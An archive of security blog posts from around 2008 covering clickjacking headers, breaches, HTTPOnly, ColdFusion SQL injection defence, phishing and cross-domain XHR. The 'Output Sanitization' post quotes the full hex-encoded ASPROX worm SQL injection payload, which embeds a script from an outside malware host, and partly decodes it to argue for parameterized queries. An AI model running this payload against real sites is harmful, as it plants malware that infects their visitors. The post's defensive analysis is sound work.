Archive for the ‘Browser/Web Security’ Category

28
Jan

IE 8 Clickjacking Protection

   Posted by: Joshbw

Eric Lawrence has a pretty thorough writeup on the IE 8 blog concerning *some* protection that IE 8 now offers to avoid clickjacking. In essence there is now a new response header that can be sent back, X-FRAME-OPTIONS, that instructs IE on which behavior should be followed if the website happens to be in a frame, and can be used in conjunction with same origin to ensure that only that domain may frame a particular page.

This is by no means a bullet proof fix especially as it is up to web developers to actually go and use the response header. I can hope that other browser vendors, as well as previous versions of IE, implement this header and behave in the same manner as it will increase uptake (just as the gradual support by browser vendors of HTTP Only has seen a corresponding uptake of people using it to protect cookies). It’s nice to have an option to control frame behavior without hack-y javascript (at least in IE, whose framebusting javascript is no where near as good as in every other browser). Regardless, as this is a server side fix it is up to developers to do something- clients are still stuck using NoScript on Firefox as the only solution they have control over. It will be a long time before this change has any impact.

~ Joshbw

8
Jan

Concerns

   Posted by: Joshbw

Yesterday my debit card was deactivated. After calling my bank it turns out that a retailer I had shopped at (whom my bank very annoyingly refuses to disclose) had their card database ripped off, so my bank pro-actively canceled my card. I am a bit annoyed that my notification of this was my card being killed, and that I am now without a debit card for a week until the new one arrives (considering there isn’t a branch of my bank within 2000 miles of me, this is a bit more than an inconvenience), but I can’t be too pissed about the bank being so proactive about this.

There are also a couple of lessons that are apparent. First, the retailer seems to have been able to suppress the data breach. I am sure there is some agreement where they opt to notify banks but only if the banks keep mum about the breach. Second, I personally have no real risk associated with my card being compromised- it is annoying but I am not liable for any fraudulent charges and my bank seems very proactive about even preventing fraudulent charges to begin with. Third, the response seems entirely mundane. There is no big how-to-do. Data breaches have become so common place it is like finding out a politician is crooked. I think we are at the point where we assume a “when” rather than “if” mentality towards our cards being compromised, which is sad as it reduces the urgency towards security.

Furthermore, over the holidays (note to Bill O’Reilly, who according to twitter’s lack of login attempt monitoring, is apparently gay now [now I know why Colbert calls you Papa *Bear*], there are many holidays at the end of December, hence plurally referring to them as holidays rather than Christmas) I caught up with several family members, and it came out that most were not even aware of the TJX data breach, and even finding out, don’t care. We in the security community love to throw that around as the big example, but I don’t think we realize that it is an example pretty contrary to our message. Here is the largest credit card compromise ever, and most of their customers don’t even know, and those that do don’t really care. They suffered a pittance of expense as a result of the breach. The real lesson is that most people don’t care about credit card theft, it isn’t really a big deal, and successful handling of the media response can largely mitigate a breach. All of that sucks for our message to improve security.

But really, isn’t all of that true? To customers a credit card theft means worst case having to sit on the phone with your bank and go without your card for a while. Credit card theft is a regulatory head ache, but the real pain comes from true identity theft. This is where the title of this post comes in. Thinking about this I started hypothesizing where there is the risk of true identity theft. The places that have all of the information to steal id is a much smaller population, but many of them have really crappy security. Banks and financial institutions are an obvious choice, but they actually are usually pretty on top of things (relative to IT systems as a whole). However any place that accepts your credit information for financing are also likely targets- places like card dealerships, jewelry stores, furniture stores, and any other place that sells something expensive. Many of these places have very shoddy IT systems, pieced together by small local vendor shops who have no clue about security. As an example, my coworker went to buy a car from a local used car dealership that accepts credit applications over the web, password protected, however the forgot password functionality simply accepted the email address and echoed the password to the screen. Worse, if one entered the email address of a sales person (conveniently on their business cards they hand EVERYONE), you get an admin password, able to view all credit applications and results. So a would be attacker gets both absolutely everything they need to steal someone’s identity AND how much that identity is actually worth.

Also on the list of potential targets to get ID information are universities. The schools have all of a student’s demographic and personal information, often including bank account numbers for the deposit/withdrawal of money, but certainly SSN and birthdate (some schools even use SSN as the student number), maintain these systems well after graduation, and update them with information about alumni (where they live, work, etc). They are also renown for terrible security and are a perfect target for ID thieves.

So while all of the other voices are calling this the year of webappsec and such, I am in disagreement. I think we will see some big pushes at big companies, but we will also continue to see big blunders at big companies. I further think it will be years before general webappsec knowledge is prevalent enough to protect places like local car dealership websites, and university IT systems, and as the big boys get locked down we will increasingly see attacks against these smaller, and in some ways more lucrative resources (blackhats get fewer but more valuable records with less effort). This may be the point we get enough momentum to start moving security, but it will be a long time before this momentum has an effect on the average consumer.

~ Joshbw

12
Nov

Hurray HTTPOnly

   Posted by: Joshbw

Hey Jim, MS fixed MSXML so that XHR can’t be used as a work around to get the cookies when HTTPOnly is used. I think that makes IE first to have full HTTPOnly support. Now when HTTPOnly is used an attacker can’t get the session at all via XSS, they can only completely deface the website, use javascript keyloggers to monitor all use on the website, forward users off to phishing sites, host malware on legitimate hosts, and other little things.

One hole filled, uncountable holes left.

(unrelated, it’s posts like this that suggest security folks some times speak their own language)

~ Joshbw

22
Oct

Preventing SQL Injection in Cold Fusion

   Posted by: Joshbw

Well, the ASPROX worm has morphed to go after any page it finds ending with .cfm, which makes a good deal of sense. Much like .asp sites, a cold fusion site probably hasn’t been worked on in several years, was probably developed prior to SQL Injection being much of a worry, and is likely using SQL Server behind the scenes. The other day I stumbled across a website that was having problems connecting to their database, and as a result spit out a lovely exception trace to the screen, including the exact syntax of their SQL Query, which was not using prepared statements. Wanting to be the good little security monkey, I did some quick research into protecting against SQL Injection with cold fusion and sent the info on to them, as well as suggesting they don’t spill their debug info out onto the interwebs for everyone to see.

Adobe has a pretty good page on protecting against SQL Injection, which makes it a little embarrassing that one of their own sites fell victim, but that will hopefully serve as a warning to us all to worry about legacy apps. Anyway, you can enforce parameter typing withing your existing cfquery pretty easily by wrapping each parameter in a cfqueryparam . For example, the following query:

<cfquery name=”Recordset1″ datasource=”mydatasource”>
SELECT *
FROM myTable
WHERE myTableID =#URL.my_Table_ID#</cfquery>

would be turned into

<cfquery name=”Recordset1″ datasource=”mydatasource”>
SELECT *
FROM myTable
WHERE myTableID =<cfqueryparam value=”#URL.my_Table_ID#” cfsqltype=”cf_sql_numeric”></cfquery>

The cf_sql_numeric value ensures that the value passed will be considered as a number, rather than a string or function. This particular value should be of interest for everyone protecting against ASPROX since rather than targeting strings, it targets parts of your query that you assume are numbers. You can find a list of all potential cfsqltype values here. Also listed are other attributes that can be valuable doing rudimentary validation when using cfqueryparam, such as maxLength (it does what you think) and scale (number of decimal places in a number). If you know of any old cold fusion sites out there, let the devs know that they should probably go back and make sure they are using cfqueryparam with all of their SQL parameters. With how effective ASPROX is at finding and exploiting sites, chances are they will be victim if they do not.

~ Joshbw

15
Oct

How client users authenticate the server

   Posted by: Joshbw

In my last post, on threat modeling, I had mentioned that there would be a follow up post would talk about the issues to authenticating the communication from the server. My cohort and fellow Josh has been working with me on some side projects with local small and mid-size business to secure their applications (things like auto dealership websites that collect information for credit checks) to offset all that money our investment accounts have taken in the past 18 months with some extra income. In that process we have noticed several issues that keep coming up that make it harder to be confident we are talking to the application we think we are talking to.

In this day and age phishing is so easy because it is hard to authenticate the server to the client. There isn’t end to end trust. Ultimately the user only has a handful of verification methods- does the website visually look like the website they want to connect to, does the URL look like the correct domain, and is the communication over a secure channel, none of which is going to be obvious to non-technical users. The visual appearance is incredibly easy to spoof, to the point where only the most lazy phisher won’t put forth the effort. Short of sternography, the visual appearance can’t be trusted, and sternography isn’t a viable option. So, here are a couple of things you can do outside of the visual appearance.

- Don’t use multiple domain names. You can register multiple domains, but always have them redirect to one domain, and never advertise anything but that one domain. This prevents dilution of the domain name, and trains the user to only trust one domain. Don’t use BobsFordMazdaLincoln.com and BobsMazdaLincolnFord.com, because a phisher can set up bobsLincolnMazdaFord.com or similar name. This is obviously a contrived example, but plenty of companies have a variety of domains for different purposes (Microsoft is really bad about this, and with their live ID being an SSO for all of their domains it is easy for me to phish that credential to great payoff).

It is better to use sub-domains if you have separate sites associated with one company. It is also better to try and have a simple and short domain name, without too many words in it. bobscars.com is way better than BobsMazdaLincolnFord.com because it is much harder to create a variant that fools the users. Bob could then have ford.bobscars.com, mazda.bobscars.com, etc (and this scales if bob ever opens other dealerships). Also, users are more likely to remember your domain name and it will have fewer common mistype permutations (which you should buy, domains are cheap) if it is simple (something for which I am probably guilty with analyticalengine.net, a url that even I mistype occasionally).

- Don’t go crazy with sub domains. You should probably only go one (or very rarely two) deep. mazda.bobscars.com is pretty simple to visually parse as being part of bobscars.com, but year2009.newcars.mazda.fordcorp.bobscars.com is going to be very easy to visually spoof to end users. We need to train customers to look at the domain name, and in order to do that it needs to be as apparent as possible. IE 8 does a good job calling this out, and there is a similar firefox plugin to highlight the domain name, but with many people still using IE 6 we need to focus on getting them to visually parse and recognize the domain (it would also be nice to get them to upgrade to a new browser). If we go overboard with subdomains we make the domain non-obvious and thus make it easy to spoof.

- Use SSL liberally, and use EV certs. The use of EV certs provides visual evidence in the location bar of the browser that this really is the corporation I intend to communicate with. It is one more protection that allows the user to visual identify the site. It offers more than that though, as it can attest to the integrity of the communication back and forth between the site. Afore mentioned cohort Josh has a post on his blog about using Ettercap to intercept communication and alter it in flight. The specific scenario he targeted was javascript based logins, where the page is served over http to improve performance but the login field uses javascript to submit over https; using ettercap he can show how he can modify the javascript while the page is being delivered so that it submits credentials elsewhere.

He recommends that to maintain performance you specifically force users to go to a separate page that is served start to finish over SSL. The problem is that 1) you don’t get the EV Cert based visual confirmation on the landing page if you do this and 2) if your landing page is sent in the clear you can use Ettercap to modify the url to the login page so the user goes offsite to submit credentials. Once a user is logged in you need to either have a ridiculously short session limit or make sure you continue to communicate over SSL, otherwise the sessionid will be sent in the clear which is almost as valuable as the user credentials.

I think it is much better to ALWAYS use SSL with EV certs, forced on every page. That way you get the visual validation of the cert on the landing page, the customer sees the little lock through the whole communication, and the entire conversation is resistant (not immune, but resistant) to tampering. This will impact performance (though I think it might have the advantageous effect of forcing cleaner website design) on dial up (I doubt it is human noticable on broadband) but if you want to provide some level of certainty to the user it is the way to go. Obviously, this should be weighed based on the risk of the site; paypal and banks should obviously do this, engadget probably can do without. As a final piece of advice, make sure that you set the cookie flag so that session information is only sent over secure channels.

These aren’t bullet proof assurances. It is all based on visually notifying the user that this is the site the really mean to be on. It is very reliant on training user behavior, a generally unreliable approach, and then on the user consistently being wary, which is even more unreliable. However, at this point we don’t have much else we can really do. Sandbags may not be an ideal replace for building on high ground, but it beats letting the water in. End to end trust is an unsolved problem but we do what we can.

~ Joshbw

7
Oct

Cross domain XHR – You can’t trust Origin

   Posted by: Joshbw

The HTML 5 spec lays out the details for cross domain XHR. I’ve written about my dislike of the idea before (details of the access control spec can be found here; I like how they justify sending cookies via XHR because you send them with img requests. In other news, if you don’t need seatbelts on a motorcycle you don’t need them in a car because obviously they are exactly the same scenarios), specifically why passing cookies is a VERY BAD IDEA.

Today I am going to focus on the other side of things, not from the user’s perspective, but from the perspective of the third party host (3PH) that is now getting requests from the client. To allow a 3PH to make discriminating decisions the source origin of the request (not the client, but the originator host of the call, though because of POORLY WRITTEN AND LAID OUT SPECS I am unable to tell if a page loaded from somesite.com that loads a script from someothersite.com that makes the actual call would consider the source origin somesite or someothersite) is passed in the origin field of the request. This origin is based off of what the browser thinks is the origin, rather than the actual origin. Thus any tricks that would fool a browser into loading a malicious site under a safe url would also fool the 3PH. ARP spoofing (for various reasons I have been exposed to techniques to do this with Ettercap recently, and it makes this very easy), DNS poisoning, and other similar techniques could be employed quite effectively for even bigger payout (not only do you fool the user into disclosing credentials or other sensitive information for website A, you also get all sorts of sensitive information from 3PH via cross domain XHR).

To some extent they could mitigate this. The origin field could also contain the DNS and ARP information the client *thinks* belongs to the origin, and this could be independently verified by the 3PH. Granted, the spec doesn’t call for this, but it *could* be made safer. From the perspective of the 3PH though, even if you can verify that the origin really is the website you expect, there is NO assurance of the integrity of the website. How many sites have XSS or SQL injection? Are you confident that the origin does not? Security is only as strong as the weakest link, and by exposing your customer’s data to the origin through cross domain XHR, that weakest link may be the origin rather than your.

Any data exposed through cross domain XHR should be considered public as soon as it is exposed, regardless of the origin field, since you can’t really verify who really is reading it. Because of that, does it really matter what the origin field says? I think the best bet for cross domain XHR is to explicitly let each user opt in to making certain information available to the world through scripting, with no assurance that only “trusted parties” would be able to script against it (since you can’t make that assurance in good conscience). All data exposed this way may be user specific in nature, but should be of trivial value since it will be effectively unprotected. 3PH should also recognize that this is the easy way of exposing data, but by no means the safe or right way. This whole proposal was introduced by scripters that wanted one more snazzy feature regardless of security implication, because having a federated webservice strategy smacks of effort.

Oh, one last thing to consider 3PH, you need to kill that timeout you put on your session to get all of this to work, which is considered BAD PRACTICE. You open yourself up to all sorts of concerns if your sessions don’t time out, and just because Google follows that bad practice doesn’t mean you should. It is good to make users log in periodically.

~ Joshbw

18
Sep

Output Sanitization

   Posted by: Joshbw

Jim Manico had a pretty good post on output encoding a couple weeks ago. Please don’t take my comments in its thread to by any means imply that I am disagreeing with his general premise. Injection attacks are one of the most common severe attacks a website could face and security professionals tend to prescribe input validation when output encoding is more appropriate. When passing on data to other sources (the client, a database, other servers), transferring it via a safe method in a sanitized form is the optimal way to go. Input validation in this instance is sub-optimal.

As an example, I am freelancing with a local webhost trying to rectify some attacks against the ASPROX worm. The attack vector is brilliant. What gets submitted is:

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415
245204054205641524348415228323535292C40432056415243484152283
2353529204445434C415245205461626C655F437572736F7220435552534
F5220464F522053454C45435420612E6E616D652C622E6E616D652046524
F4D207379736F626A6563747320612C737973636F6C756D6E73206220574
845524520612E69643D622E696420414E4420612E78747970653D2775272
0414E442028622E78747970653D3939204F5220622E78747970653D33352
04F5220622E78747970653D323331204F5220622E78747970653D3136372
9204F50454E205461626C655F437572736F72204645544348204E4558542
046524F4D205461626C655F437572736F7220494E544F2040542C4043205
748494C4528404046455443485F5354415455533D302920424547494E204
55845432827555044415445205B272B40542B275D20534554205B272B404
32B275D3D525452494D28434F4E564552542856415243484152283430303
0292C5B272B40432B275D29292B27273C736372697074207372633D68747
4703A2F2F7777772E61647739352E636F6D2F622E6A733E3C2F736372697
0743E27272729204645544348204E4558542046524F4D205461626C655F4
37572736F7220494E544F2040542C404320454E4420434C4F53452054616
26C655F437572736F72204445414C4C4F43415445205461626C655F43757
2736F7220%20AS%20VARCHAR(4000));EXEC(@S);–

(arg, my kingdom for firefox to add support for “word-wrap:break-word”. I know it was originaly an IE deviation, but it is now in CSS 3. Also, sometimes additions outside of spec are fine when they clearly make sense, like word-wrap.)

This gets interpreted as:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(‘UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+””’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Now this is a genius little worm. It scans across all the tables available with a cursor and automatically appends the malware attack (usually a reference to a hosted .js that exploits browser vulnerabilities) to the end of all the various fields of some text type. There is some serious SQL ninja stuff that exceeds my T-SQL skills here, but most noteworthy is that there is no ‘ anywhere in the string. Now the vulnerable site WAS doing limited input validation, automatically escaping all ‘ before submitting a query, but that was obviously irrelevant to the attack. Had they just been using bindable queries (aka parameterized queries, depending on your parlance preference) they would have been fine.

All of that does reinforce Jim’s point. For the most common web attacks, XSS and SQL Injection, output sanitization is more effective than input validation. That said, you need to do both. Both of those attacks are actually against external entities, other clients and the database respectively, which illustrates a point- for every external entity you are communicating with you need to pass the output in a clean and safe form to that entity. Hence output encoding/sanitization. To protect yourself, however, you need to do input validation. At the moment output attacks are the most common, as they are relatively easy and don’t require much knowledge of the application logic, however as those holes are plugged there are going to be increasing attacks against the application itself. At that point, input validation is the first line of defense.

So rule of thumb for developing reasonably secure applications- don’t trust any input you get and be sure to validate it, and sanitize all output EVEN if you are doing input avalidation to make sure you aren’t passing off an attack.

~ Joshbw

7
Aug

Cross domain XHR

   Posted by: Joshbw

A couple months ago I had a bit of an argument with an Opera developer. He was critical of MS with IE 8, because IE 8 will not pass cookies when doing a cross domain XHR. Like everything from Opera the argument is that it deviates from the standard, and as they like to toot their own standards compliance horn as their marketing message this is pretty much their primary form of criticism against any browser. I had a problem with this, because the concept is inherently flawed and I do not believe that standards (and lets be clear, when they say standards, what they mean is specifications, and not even very well written specifications) should be blindly followed when in contrast to security considerations. This could diverge into a general rant that I have about the W3C not being an effective body to begin with, producing neither horribly useful documentation, nor having an appropriate method to settle on specification to begin with, but I will save that for a later date.

Anyway, Cross domain XHR that passes cookies allows for private data to be retrieved off of remote sites, which is problematic because it only provides a mechanism to authenticate the user (and not a particularly strong one) but no means to truly authenticate the original site who served up a web page with the XHR (oh sure, you could check referrer headers and other such details, but the integrity of those are always suspect; it also increases the impact of XSS). It enables client proxies to 3rd party websites by design; website A asks client to retrieve data from website B for it. There is already a mechanism for two trusted domains to share information; federation and webservices. That way both endpoints as well as the client using the browser can all be authenticated. Yes, this requires more work. Doing it correctly always requires more work than doing it wrong.

Some websites will implement this all correctly- they will be very careful what data they let slip, what actions are exposed to cross domain XHR- but most will not (come on, they can’t even get input validation on their own forms right). It is like justifying the continued use of strcpy in place of strncpy because it is possible to use it correctly and it is just a pain to force developers to specify the buffer size. We as an industry know that we should ban strcpy, because even though it *can* be used safely, it is very common for developers to make mistakes with its use. The same can be said with cross domain XHR- it can be used safely but there are better methods available that inherently enable the developer to be more safe.

Anyway, I bring this all up because Window Snyder of Mozilla fame announced at Blackhat that, while it was pulled from Firefox 3 for security reason, Cross Domain XHR will be added back to Firefox 3.1 and pass cookies. I was very much hoping that both IE and Firefox would implement a safer XHR that did not pass cookies when going cross domain, but it appears that only IE 8 is willing to err on the side of security. That’s too bad. Fortunately NoScript will probably come to the rescue but I am really tired of having to rely on third parties to provide security for something that should be there from the start.

And Opera, sorry, I never was confident you were secure, especially since you don’t freaking star out password fields on your blackberry client, and the Cross Domain XHR only exacerbates things.

~ Joshbw

3
Jul

IE 8 Security

   Posted by: Joshbw

There are some interesting posts coming out of the IE 8 team on security and I think it is heartening that the two major browser manufacturers are viewing security as a competitive feature (now if only Safari would…). The big news seems to be the default XSS filter to protect against reflective XSS. You are still screwed with persistant XSS but at least we are making ground. There has been some noise that MS is just aping features from NoScript, for which I say, GREAT! One browser shouldn’t be bared from a great security feature just because someone else thought of the protection earlier, and this has the benefit of being installed by default (if what happened in one browser was blocked from other browsers the whole XHR wouldn’t exist; that was an MS innovation after all, even if it wasn’t native).

The blog posting has several folks that are worried about false positives, but I think they either don’t understand how reflective XSS works, or they are concerned that their insecure webpage will be broken. The filter seems pretty simple; if content in a request is echoed unsafely in the response it is flagged. Just because some webpages echo intended content that way does not mean that they shouldn’t be flagged. I think the “false positives” might actually be a selling point as it will point out to web developers where they have been remiss.

Just as interesting is the smörgåsbord of security controls discussed in the follow up post. I’m sure MS will probably catch flack for deviating from the standard, but my hope is that the functionality becomes the standard. Good client side input validation functions (toStaticHTML) are a great idea, as are many of the other features (I wonder how secure anyone can make mashups though; they are a fundamentally horrid idea from a security perspective).

Anyway, let the race to a more secure browser commence. Competition is good for everyone.
~ Joshbw

1
Jul

4 things to improve the web

   Posted by: Joshbw

Ars Technica has an article on four things that need to be fixed to secure the future of the web and I find it a horribly depressing list. The only marginal nod for security is security considerations in integrating JSON fully into the gecko rendering engine.

I think this points out a fundamental issue with security on the web; web developers just don’t think about security. It isn’t on their radar. The list is four things that web developer want to do “cool things” with, but black hats are going to be equally happy to do “cool things” with the technology and no thought has been given to that.

Instead of the list provided, I offer more generic fixes I would love to see to ensure a bright future for the web:

1) A truly stateful protocol replacing the stateless HTTP and the cookie session ID hack that we are using now. The current system is fragile and easily compromised; it is the definition of kludge but everyone goes along with it.

2) End to End trust, not based on trivia. Forget usernames and passwords; let’s develop a means for the server to verify the identity of the client and vice-a-versa, to kill phishing sites and role your own retarded authentication/forgot password scheme. What we really need is the equivalent of two way SSL, but in a more portable scheme for end users.

3) simplification of the tiers. Complexity is the enemy of security (I have a lot of enemy/bane/unfriend of security criteria, but complexity is definitely one) and the tiers have seriously made things complex. I have an HTML event trigger a javascript function that makes an XML request to a JSP that communicates to an EJB which performs an RPC to a mainframe to ultimately execute SQL, and then backtrack. There are so many points of failure in this scheme that I feel like weeping.

4) Make people care about security. I really want to go off on the dynamic languages, since they are all about speed to market at the expense of good, secure, code, but the real issue isn’t the languages but the mentality that speed to market can’t afford secure practices. We need to make executives and developers and marketing and customers really care.

so what are your top 4 for things to save the web?
~Joshbw